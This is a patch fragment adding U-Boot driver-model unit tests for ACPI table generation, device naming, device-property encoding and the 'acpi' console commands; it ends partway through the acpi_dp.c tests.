+ struct udevice *dev, *dev2, *i2c, *spi, *timer, *sound;
+ struct udevice *pci, *root;
+
+ /* Test getting the name from the driver */
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_ACPI, &dev));
+ ut_assertok(acpi_get_name(dev, name));
+ ut_asserteq_str(ACPI_TEST_DEV_NAME, name);
+
+ /* Test getting the name from the device tree */
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_FDT, "a-test",
+ &dev2));
+ ut_assertok(acpi_get_name(dev2, name));
+ ut_asserteq_str("GHIJ", name);
+
+ /* Test getting the name from acpi_device_get_name() */
+ ut_assertok(uclass_first_device_err(UCLASS_I2C, &i2c));
+ ut_assertok(acpi_get_name(i2c, name));
+ ut_asserteq_str("I2C0", name);
+
+ ut_assertok(uclass_first_device_err(UCLASS_SPI, &spi));
+ ut_assertok(acpi_get_name(spi, name));
+ ut_asserteq_str("SPI0", name);
+
+ /* ACPI doesn't know about the timer */
+ ut_assertok(uclass_first_device_err(UCLASS_TIMER, &timer));
+ ut_asserteq(-ENOENT, acpi_get_name(timer, name));
+
+ /* May as well test the rest of the cases */
+ ut_assertok(uclass_first_device_err(UCLASS_SOUND, &sound));
+ ut_assertok(acpi_get_name(sound, name));
+ ut_asserteq_str("HDAS", name);
+
+ ut_assertok(uclass_first_device_err(UCLASS_PCI, &pci));
+ ut_assertok(acpi_get_name(pci, name));
+ ut_asserteq_str("PCI0", name);
+
+ ut_assertok(uclass_first_device_err(UCLASS_ROOT, &root));
+ ut_assertok(acpi_get_name(root, name));
+ ut_asserteq_str("\\_SB", name);
+
+ /* Note that we don't have tests for acpi_name_from_id() */
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_get_name, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_get_table_revision() */
+static int dm_test_acpi_get_table_revision(struct unit_test_state *uts)
+{
+ ut_asserteq(1, acpi_get_table_revision(ACPITAB_MCFG));
+ ut_asserteq(2, acpi_get_table_revision(ACPITAB_RSDP));
+ ut_asserteq(4, acpi_get_table_revision(ACPITAB_TPM2));
+ ut_asserteq(-EINVAL, acpi_get_table_revision(ACPITAB_COUNT));
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_get_table_revision,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_create_dmar() */
+static int dm_test_acpi_create_dmar(struct unit_test_state *uts)
+{
+ struct acpi_dmar dmar;
+ struct udevice *cpu;
+
+ ut_assertok(uclass_first_device_err(UCLASS_CPU, &cpu));
+ ut_assertnonnull(cpu);
+ ut_assertok(acpi_create_dmar(&dmar, DMAR_INTR_REMAP));
+ ut_asserteq(DMAR_INTR_REMAP, dmar.flags);
+ ut_asserteq((IS_ENABLED(CONFIG_PHYS_64BIT) ? 64 : 32) - 1,
+ dmar.host_address_width);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_create_dmar, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_fill_header() */
+static int dm_test_acpi_fill_header(struct unit_test_state *uts)
+{
+ struct acpi_table_header hdr;
+
+ /* Make sure these 5 fields are not changed */
+ hdr.length = 0x11;
+ hdr.revision = 0x22;
+ hdr.checksum = 0x33;
+ hdr.creator_revision = 0x44;
+ acpi_fill_header(&hdr, "ABCD");
+
+ ut_asserteq_mem("ABCD", hdr.signature, sizeof(hdr.signature));
+ ut_asserteq(0x11, hdr.length);
+ ut_asserteq(0x22, hdr.revision);
+ ut_asserteq(0x33, hdr.checksum);
+ ut_asserteq_mem(OEM_ID, hdr.oem_id, sizeof(hdr.oem_id));
+ ut_asserteq_mem(OEM_TABLE_ID, hdr.oem_table_id,
+ sizeof(hdr.oem_table_id));
+ ut_asserteq(OEM_REVISION, hdr.oem_revision);
+ ut_asserteq_mem(ASLC_ID, hdr.creator_id, sizeof(hdr.creator_id));
+ ut_asserteq(0x44, hdr.creator_revision);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_fill_header, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test ACPI write_tables() */
+static int dm_test_acpi_write_tables(struct unit_test_state *uts)
+{
+ struct acpi_dmar *dmar;
+ struct acpi_ctx ctx;
+ ulong addr;
+ void *buf;
+ int i;
+
+ buf = malloc(BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr));
+ dmar = ctx.current;
+ ut_assertok(acpi_write_dev_tables(&ctx));
+
+ /*
+ * We should have three dmar tables, one for each
+ * "denx,u-boot-acpi-test" device
+ */
+ ut_asserteq_ptr(dmar + 3, ctx.current);
+ ut_asserteq(DMAR_INTR_REMAP, dmar->flags);
+ ut_asserteq((IS_ENABLED(CONFIG_PHYS_64BIT) ? 64 : 32) - 1,
+ dmar->host_address_width);
+
+ ut_asserteq(DMAR_INTR_REMAP, dmar[1].flags);
+ ut_asserteq((IS_ENABLED(CONFIG_PHYS_64BIT) ? 64 : 32) - 1,
+ dmar[1].host_address_width);
+
+ ut_asserteq(DMAR_INTR_REMAP, dmar[2].flags);
+ ut_asserteq((IS_ENABLED(CONFIG_PHYS_64BIT) ? 64 : 32) - 1,
+ dmar[2].host_address_width);
+
+ /* Check that the pointers were added correctly */
+ for (i = 0; i < 3; i++) {
+ ut_asserteq(nomap_to_sysmem(dmar + i), ctx.rsdt->entry[i]);
+ ut_asserteq(nomap_to_sysmem(dmar + i), ctx.xsdt->entry[i]);
+ }
+ ut_asserteq(0, ctx.rsdt->entry[3]);
+ ut_asserteq(0, ctx.xsdt->entry[3]);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_write_tables, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test basic ACPI functions */
+static int dm_test_acpi_basic(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+
+ /* Check align works */
+ ctx.current = (void *)5;
+ acpi_align(&ctx);
+ ut_asserteq_ptr((void *)16, ctx.current);
+
+ /* Check that align does nothing if already aligned */
+ acpi_align(&ctx);
+ ut_asserteq_ptr((void *)16, ctx.current);
+ acpi_align64(&ctx);
+ ut_asserteq_ptr((void *)64, ctx.current);
+ acpi_align64(&ctx);
+ ut_asserteq_ptr((void *)64, ctx.current);
+
+ /* Check incrementing */
+ acpi_inc(&ctx, 3);
+ ut_asserteq_ptr((void *)67, ctx.current);
+ acpi_inc_align(&ctx, 3);
+ ut_asserteq_ptr((void *)80, ctx.current);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_basic, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test setup_ctx_and_base_tables */
+static int dm_test_acpi_ctx_and_base_tables(struct unit_test_state *uts)
+{
+ struct acpi_rsdp *rsdp;
+ struct acpi_rsdt *rsdt;
+ struct acpi_xsdt *xsdt;
+ struct acpi_ctx ctx;
+ void *buf, *end;
+ ulong addr;
+
+ /*
+ * Use an unaligned address deliberately, by allocating an aligned
+ * address and then adding 4 to it
+ */
+ buf = memalign(64, BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr + 4));
+ ut_asserteq(map_to_sysmem(PTR_ALIGN(buf + 4, 16)), gd_acpi_start());
+
+ rsdp = buf + 16;
+ ut_asserteq_ptr(rsdp, ctx.rsdp);
+ ut_asserteq_mem(RSDP_SIG, rsdp->signature, sizeof(rsdp->signature));
+ ut_asserteq(sizeof(*rsdp), rsdp->length);
+ ut_assertok(table_compute_checksum(rsdp, 20));
+ ut_assertok(table_compute_checksum(rsdp, sizeof(*rsdp)));
+
+ rsdt = PTR_ALIGN((void *)rsdp + sizeof(*rsdp), 16);
+ ut_asserteq_ptr(rsdt, ctx.rsdt);
+ ut_asserteq_mem("RSDT", rsdt->header.signature, ACPI_NAME_LEN);
+ ut_asserteq(sizeof(*rsdt), rsdt->header.length);
+ ut_assertok(table_compute_checksum(rsdt, sizeof(*rsdt)));
+
+ xsdt = PTR_ALIGN((void *)rsdt + sizeof(*rsdt), 16);
+ ut_asserteq_ptr(xsdt, ctx.xsdt);
+ ut_asserteq_mem("XSDT", xsdt->header.signature, ACPI_NAME_LEN);
+ ut_asserteq(sizeof(*xsdt), xsdt->header.length);
+ ut_assertok(table_compute_checksum(xsdt, sizeof(*xsdt)));
+
+ end = PTR_ALIGN((void *)xsdt + sizeof(*xsdt), 64);
+ ut_asserteq_ptr(end, ctx.current);
+
+ ut_asserteq(nomap_to_sysmem(rsdt), rsdp->rsdt_address);
+ ut_asserteq(nomap_to_sysmem(xsdt), rsdp->xsdt_address);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_ctx_and_base_tables,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'acpi list' command */
+static int dm_test_acpi_cmd_list(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ ulong addr;
+ void *buf;
+
+ buf = memalign(16, BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr));
+
+ ut_assertok(acpi_write_dev_tables(&ctx));
+
+ console_record_reset();
+ run_command("acpi list", 0);
+ ut_assert_nextline("Name Base Size Detail");
+ ut_assert_nextline("---- ---------------- ----- ----------------------------");
+ ut_assert_nextline("RSDP %16lx %5zx v02 U-BOOT", addr,
+ sizeof(struct acpi_rsdp));
+ addr = ALIGN(addr + sizeof(struct acpi_rsdp), 16);
+ ut_assert_nextline("RSDT %16lx %5zx v01 U-BOOT U-BOOTBL %x INTL 0",
+ addr, sizeof(struct acpi_table_header) +
+ 3 * sizeof(u32), OEM_REVISION);
+ addr = ALIGN(addr + sizeof(struct acpi_rsdt), 16);
+ ut_assert_nextline("XSDT %16lx %5zx v01 U-BOOT U-BOOTBL %x INTL 0",
+ addr, sizeof(struct acpi_table_header) +
+ 3 * sizeof(u64), OEM_REVISION);
+ addr = ALIGN(addr + sizeof(struct acpi_xsdt), 64);
+ ut_assert_nextline("DMAR %16lx %5zx v01 U-BOOT U-BOOTBL %x INTL 0",
+ addr, sizeof(struct acpi_dmar), OEM_REVISION);
+ addr = ALIGN(addr + sizeof(struct acpi_dmar), 16);
+ ut_assert_nextline("DMAR %16lx %5zx v01 U-BOOT U-BOOTBL %x INTL 0",
+ addr, sizeof(struct acpi_dmar), OEM_REVISION);
+ addr = ALIGN(addr + sizeof(struct acpi_dmar), 16);
+ ut_assert_nextline("DMAR %16lx %5zx v01 U-BOOT U-BOOTBL %x INTL 0",
+ addr, sizeof(struct acpi_dmar), OEM_REVISION);
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_cmd_list, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'acpi dump' command */
+static int dm_test_acpi_cmd_dump(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ ulong addr;
+ void *buf;
+
+ buf = memalign(16, BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr));
+
+ ut_assertok(acpi_write_dev_tables(&ctx));
+
+ /* First search for a non-existent table */
+ console_record_reset();
+ run_command("acpi dump rdst", 0);
+ ut_assert_nextline("Table 'RDST' not found");
+ ut_assert_console_end();
+
+ /* Now a real table */
+ console_record_reset();
+ run_command("acpi dump dmar", 0);
+ addr = ALIGN(nomap_to_sysmem(ctx.xsdt) + sizeof(struct acpi_xsdt), 64);
+ ut_assert_nextline("DMAR @ %16lx", addr);
+ ut_assert_nextlines_are_dump(0x30);
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_cmd_dump, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_device_path() */
+static int dm_test_acpi_device_path(struct unit_test_state *uts)
+{
+ struct testacpi_plat *plat;
+ char buf[ACPI_PATH_MAX];
+ struct udevice *dev, *child;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_ACPI, &dev));
+ ut_assertok(acpi_device_path(dev, buf, sizeof(buf)));
+ ut_asserteq_str("\\_SB." ACPI_TEST_DEV_NAME, buf);
+
+ /* Test running out of space */
+ buf[5] = '\0';
+ ut_asserteq(-ENOSPC, acpi_device_path(dev, buf, 5));
+ ut_asserteq('\0', buf[5]);
+
+ /* Test a three-component name */
+ ut_assertok(device_first_child_err(dev, &child));
+ ut_assertok(acpi_device_path(child, buf, sizeof(buf)));
+ ut_asserteq_str("\\_SB." ACPI_TEST_DEV_NAME "." ACPI_TEST_CHILD_NAME,
+ buf);
+
+ /* Test handling of a device which doesn't produce a name */
+ plat = dev_get_plat(dev);
+ plat->no_name = true;
+ ut_assertok(acpi_device_path(child, buf, sizeof(buf)));
+ ut_asserteq_str("\\_SB." ACPI_TEST_CHILD_NAME, buf);
+
+ /* Test handling of a device which returns an error */
+ plat = dev_get_plat(dev);
+ plat->return_error = true;
+ ut_asserteq(-EINVAL, acpi_device_path(child, buf, sizeof(buf)));
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_device_path, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_device_status() */
+static int dm_test_acpi_device_status(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_TEST_ACPI, &dev));
+ ut_asserteq(ACPI_DSTATUS_ALL_ON, acpi_device_status(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_device_status, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_fill_ssdt() */
+static int dm_test_acpi_fill_ssdt(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ u8 *buf;
+
+ buf = malloc(BUF_SIZE);
+ ut_assertnonnull(buf);
+
+ acpi_reset_items();
+ ctx.current = buf;
+ buf[4] = 'z'; /* sentinel */
+ ut_assertok(acpi_fill_ssdt(&ctx));
+
+ /*
+ * These values come from acpi-test2's acpi-ssdt-test-data property.
+ * This device comes first because of u-boot,acpi-ssdt-order
+ */
+ ut_asserteq('c', buf[0]);
+ ut_asserteq('d', buf[1]);
+
+ /* These values come from acpi-test's acpi-ssdt-test-data property */
+ ut_asserteq('a', buf[2]);
+ ut_asserteq('b', buf[3]);
+
+ ut_asserteq('z', buf[4]);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_fill_ssdt, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test acpi_inject_dsdt() */
+static int dm_test_acpi_inject_dsdt(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ u8 *buf;
+
+ buf = malloc(BUF_SIZE);
+ ut_assertnonnull(buf);
+
+ acpi_reset_items();
+ ctx.current = buf;
+ buf[4] = 'z'; /* sentinel */
+ ut_assertok(acpi_inject_dsdt(&ctx));
+
+ /*
+ * These values come from acpi-test's acpi-dsdt-test-data property.
+ * There is no u-boot,acpi-dsdt-order so device-tree order is used.
+ */
+ ut_asserteq('h', buf[0]);
+ ut_asserteq('i', buf[1]);
+
+ /* These values come from acpi-test's acpi-dsdt-test-data property */
+ ut_asserteq('j', buf[2]);
+ ut_asserteq('k', buf[3]);
+
+ ut_asserteq('z', buf[4]);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_inject_dsdt, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'acpi items' command */
+static int dm_test_acpi_cmd_items(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ ulong addr;
+ void *buf;
+
+ buf = malloc(BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+
+ acpi_reset_items();
+ ctx.current = buf;
+ ut_assertok(acpi_fill_ssdt(&ctx));
+ console_record_reset();
+ run_command("acpi items", 0);
+ ut_assert_nextline("Seq Type Base Size Device/Writer");
+ ut_assert_nextline("--- ----- -------- ---- -------------");
+ ut_assert_nextline(" 0 ssdt %8lx 2 acpi-test", addr);
+ ut_assert_nextline(" 1 ssdt %8lx 2 acpi-test2", addr + 2);
+ ut_assert_console_end();
+
+ acpi_reset_items();
+ ctx.current = buf;
+ ut_assertok(acpi_inject_dsdt(&ctx));
+ console_record_reset();
+ run_command("acpi items", 0);
+ ut_assert_nextlinen("Seq");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 dsdt %8lx 2 acpi-test", addr);
+ ut_assert_nextline(" 1 dsdt %8lx 2 acpi-test2", addr + 2);
+ ut_assert_console_end();
+
+ console_record_reset();
+ run_command("acpi items -d", 0);
+ ut_assert_nextlinen("Seq");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 dsdt %8lx 2 acpi-test", addr);
+ ut_assert_nextlines_are_dump(2);
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline(" 1 dsdt %8lx 2 acpi-test2", addr + 2);
+ ut_assert_nextlines_are_dump(2);
+ ut_assert_nextline("%s", "");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_cmd_items, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'acpi set' command */
+static int dm_test_acpi_cmd_set(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ ulong addr;
+ void *buf;
+
+ gd_set_acpi_start(0);
+
+ console_record_reset();
+ ut_asserteq(0, gd_acpi_start());
+ ut_assertok(run_command("acpi set", 0));
+ ut_assert_nextline("ACPI pointer: 0");
+
+ buf = memalign(16, BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr));
+
+ ut_assertok(acpi_write_dev_tables(&ctx));
+
+ ut_assertok(run_command("acpi set", 0));
+ ut_assert_nextline("ACPI pointer: %lx", addr);
+
+ ut_assertok(run_command("acpi set 0", 0));
+ ut_assert_nextline("Setting ACPI pointer to 0");
+ ut_asserteq(0, gd_acpi_start());
+
+ ut_assertok(run_commandf("acpi set %lx", addr));
+ ut_assert_nextline("Setting ACPI pointer to %lx", addr);
+ ut_asserteq(addr, gd_acpi_start());
+
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_cmd_set, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/**
+ * dm_test_write_test_table() - create test ACPI table
+ *
+ * Create an ACPI table TSTn, where n is given by @index.
+ *
+ * @ctx: ACPI table writing context
+ * @index: table index
+ * Return: generated table
+ */
+static struct acpi_table_header
+*dm_test_write_test_table(struct acpi_ctx *ctx, int index)
+{
+ struct acpi_table_header *tbl = ctx->current;
+ char signature[5];
+
+ snprintf(signature, sizeof(signature), "TST%1d", index);
+ memset(tbl, 0, sizeof(*tbl));
+ acpi_fill_header(tbl, signature);
+ acpi_inc(ctx, sizeof(struct acpi_table_header));
+ tbl->length = (u8 *)ctx->current - (u8 *)tbl;
+ tbl->checksum = table_compute_checksum(tbl, tbl->length);
+ acpi_add_table(ctx, tbl);
+
+ return tbl;
+}
+
+/* Test acpi_find_table() */
+static int dm_test_acpi_find_table(struct unit_test_state *uts)
+{
+ struct acpi_ctx ctx;
+ ulong acpi_start, addr;
+ void *buf;
+ struct acpi_table_header *table, *table1, *table2, *table3;
+ struct acpi_rsdp *rsdp;
+ ulong rsdt;
+ ulong xsdt;
+
+ /* Keep reference to original ACPI tables */
+ acpi_start = gd_acpi_start();
+
+ /* Setup new ACPI tables */
+ buf = memalign(16, BUF_SIZE);
+ ut_assertnonnull(buf);
+ addr = map_to_sysmem(buf);
+ ut_assertok(setup_ctx_and_base_tables(uts, &ctx, addr));
+ table3 = dm_test_write_test_table(&ctx, 3);
+ table1 = dm_test_write_test_table(&ctx, 1);
+ table2 = dm_test_write_test_table(&ctx, 2);
+
+ /* Retrieve RSDP, RSDT, XSDT */
+ rsdp = map_sysmem(gd_acpi_start(), 0);
+ ut_assertnonnull(rsdp);
+ rsdt = rsdp->rsdt_address;
+ ut_assert(rsdt);
+ xsdt = rsdp->xsdt_address;
+ ut_assert(xsdt);
+
+ /* Find with both RSDT and XSDT */
+ table = acpi_find_table("TST1");
+ ut_asserteq_ptr(table1, table);
+ ut_asserteq_strn("TST1", table->signature);
+ table = acpi_find_table("TST2");
+ ut_asserteq_ptr(table2, table);
+ ut_asserteq_strn("TST2", table->signature);
+ table = acpi_find_table("TST3");
+ ut_asserteq_ptr(table3, table);
+ ut_asserteq_strn("TST3", table->signature);
+
+ /* Find with XSDT only */
+ rsdp->rsdt_address = 0;
+ table = acpi_find_table("TST1");
+ ut_asserteq_ptr(table1, table);
+ table = acpi_find_table("TST2");
+ ut_asserteq_ptr(table2, table);
+ table = acpi_find_table("TST3");
+ ut_asserteq_ptr(table3, table);
+ rsdp->rsdt_address = rsdt;
+
+ /* Find with RSDT only */
+ rsdp->xsdt_address = 0;
+ table = acpi_find_table("TST1");
+ ut_asserteq_ptr(table1, table);
+ table = acpi_find_table("TST2");
+ ut_asserteq_ptr(table2, table);
+ table = acpi_find_table("TST3");
+ ut_asserteq_ptr(table3, table);
+ rsdp->xsdt_address = xsdt;
+
+ /* Restore previous ACPI tables */
+ gd_set_acpi_start(acpi_start);
+ free(buf);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_find_table, 0);
+
+/* Test offsets in RSDT, XSDT */
+static int dm_test_acpi_offsets(struct unit_test_state *uts)
+{
+ ut_asserteq(36, offsetof(struct acpi_rsdt, entry));
+ ut_asserteq(36, offsetof(struct acpi_xsdt, entry));
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_offsets, 0);
diff --git a/test/dm/acpi.h b/test/dm/acpi.h
new file mode 100644
index 00000000000..c6636b88240
--- /dev/null
+++ b/test/dm/acpi.h
@@ -0,0 +1,32 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Common functions for ACPI tests
+ *
+ * Copyright 2020 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#ifndef __TEST_DM_ACPI_H
+#define __TEST_DM_ACPI_H
+
+#define ACPI_TEST_DEV_NAME "ABCD"
+#define ACPI_TEST_CHILD_NAME "EFGH"
+
+/**
+ * acpi_test_alloc_context_size() - Allocate an ACPI context of a given size
+ *
+ * @ctxp: Returns allocated context
+ * @size: Size to allocate in bytes
+ * Return: 0 if OK, -ENOMEM if out of memory
+ */
+int acpi_test_alloc_context_size(struct acpi_ctx **ctxp, int size);
+
+/**
+ * acpi_test_get_length() - decode a three-byte length field
+ *
+ * @ptr: Length encoded as per ACPI
+ * Return: decoded length, or -EINVAL on error
+ */
+int acpi_test_get_length(u8 *ptr);
+
+#endif /*__TEST_DM_ACPI_H */
diff --git a/test/dm/acpi_dp.c b/test/dm/acpi_dp.c
new file mode 100644
index 00000000000..87bd8ae6749
--- /dev/null
+++ b/test/dm/acpi_dp.c
@@ -0,0 +1,491 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for ACPI code generation via a device-property table
+ *
+ * Copyright 2019 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <uuid.h>
+#include <acpi/acpigen.h>
+#include <acpi/acpi_dp.h>
+#include <asm/unaligned.h>
+#include <dm/acpi.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include "acpi.h"
+
+/* Maximum size of the ACPI context needed for most tests */
+#define ACPI_CONTEXT_SIZE 500
+
+#define TEST_INT8 0x7d
+#define TEST_INT16 0x2345
+#define TEST_INT32 0x12345678
+#define TEST_INT64 0x4567890123456
+#define TEST_STR "testing acpi strings"
+#define TEST_REF "\\SB.I2C0.TPM2"
+#define EXPECT_REF "SB__I2C0TPM2"
+
+static int alloc_context(struct acpi_ctx **ctxp)
+{
+ return acpi_test_alloc_context_size(ctxp, ACPI_CONTEXT_SIZE);
+
+ return 0;
+}
+
+static void free_context(struct acpi_ctx **ctxp)
+{
+ free(*ctxp);
+ *ctxp = NULL;
+}
+
+/* Test emitting an empty table */
+static int dm_test_acpi_dp_new_table(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(10, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(NAME_OP, *(u8 *)ptr);
+ ut_asserteq_strn("FRED", (char *)ptr + 1);
+ ut_asserteq(PACKAGE_OP, ptr[5]);
+ ut_asserteq(4, acpi_test_get_length(ptr + 6));
+ ut_asserteq(0, ptr[9]);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_new_table, 0);
+
+/* Test emitting an integer */
+static int dm_test_acpi_dp_int(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ char uuid[UUID_STR_LEN + 1];
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+ ut_assertnonnull(acpi_dp_add_integer(dp, "MARY", TEST_INT32));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(54, acpigen_get_current(ctx) - ptr);
+ ut_asserteq(NAME_OP, *(u8 *)ptr);
+ ut_asserteq_strn("FRED", (char *)ptr + 1);
+ ut_asserteq(PACKAGE_OP, ptr[5]);
+ ut_asserteq(48, acpi_test_get_length(ptr + 6));
+ ut_asserteq(2, ptr[9]);
+
+ /* UUID */
+ ut_asserteq(BUFFER_OP, ptr[10]);
+ ut_asserteq(22, acpi_test_get_length(ptr + 11));
+ ut_asserteq(WORD_PREFIX, ptr[14]);
+ ut_asserteq(16, get_unaligned((u16 *)(ptr + 15)));
+ uuid_bin_to_str(ptr + 17, uuid, 1);
+ ut_asserteq_str(ACPI_DP_UUID, uuid);
+
+ /* Container package */
+ ut_asserteq(PACKAGE_OP, ptr[33]);
+ ut_asserteq(20, acpi_test_get_length(ptr + 34));
+ ut_asserteq(1, ptr[37]);
+
+ /* Package with name and (integer) value */
+ ut_asserteq(PACKAGE_OP, ptr[38]);
+ ut_asserteq(15, acpi_test_get_length(ptr + 39));
+ ut_asserteq(2, ptr[42]);
+ ut_asserteq(STRING_PREFIX, ptr[43]);
+ ut_asserteq_str("MARY", (char *)ptr + 44);
+
+ ut_asserteq(DWORD_PREFIX, ptr[49]);
+ ut_asserteq(TEST_INT32, get_unaligned((u32 *)(ptr + 50)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_int, 0);
+
+/* Test emitting a 64-bit integer */
+static int dm_test_acpi_dp_int64(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+ ut_assertnonnull(acpi_dp_add_integer(dp, "MARY", TEST_INT64));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(58, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(QWORD_PREFIX, ptr[49]);
+ ut_asserteq_64(TEST_INT64, get_unaligned((u64 *)(ptr + 50)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_int64, 0);
+
+/* Test emitting a 16-bit integer */
+static int dm_test_acpi_dp_int16(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+ ut_assertnonnull(acpi_dp_add_integer(dp, "MARY", TEST_INT16));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(52, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(WORD_PREFIX, ptr[49]);
+ ut_asserteq(TEST_INT16, get_unaligned((u16 *)(ptr + 50)));
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_int16, 0);
+
+/* Test emitting a 8-bit integer */
+static int dm_test_acpi_dp_int8(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
+ ut_assertnonnull(acpi_dp_add_integer(dp, "MARY", TEST_INT8));
+
+ ptr = acpigen_get_current(ctx);
+ ut_assertok(acpi_dp_write(ctx, dp));
+ ut_asserteq(51, acpigen_get_current(ctx) - ptr);
+
+ ut_asserteq(BYTE_PREFIX, ptr[49]);
+ ut_asserteq(TEST_INT8, ptr[50]);
+
+ free_context(&ctx);
+
+ return 0;
+}
+DM_TEST(dm_test_acpi_dp_int8, 0);
+
+/* Test emitting multiple values */
+static int dm_test_acpi_dp_multiple(struct unit_test_state *uts)
+{
+ struct acpi_ctx *ctx;
+ struct acpi_dp *dp;
+ u8 *ptr;
+
+ ut_assertok(alloc_context(&ctx));
+
+ dp = acpi_dp_new_table("FRED");
+ ut_assertnonnull(dp);
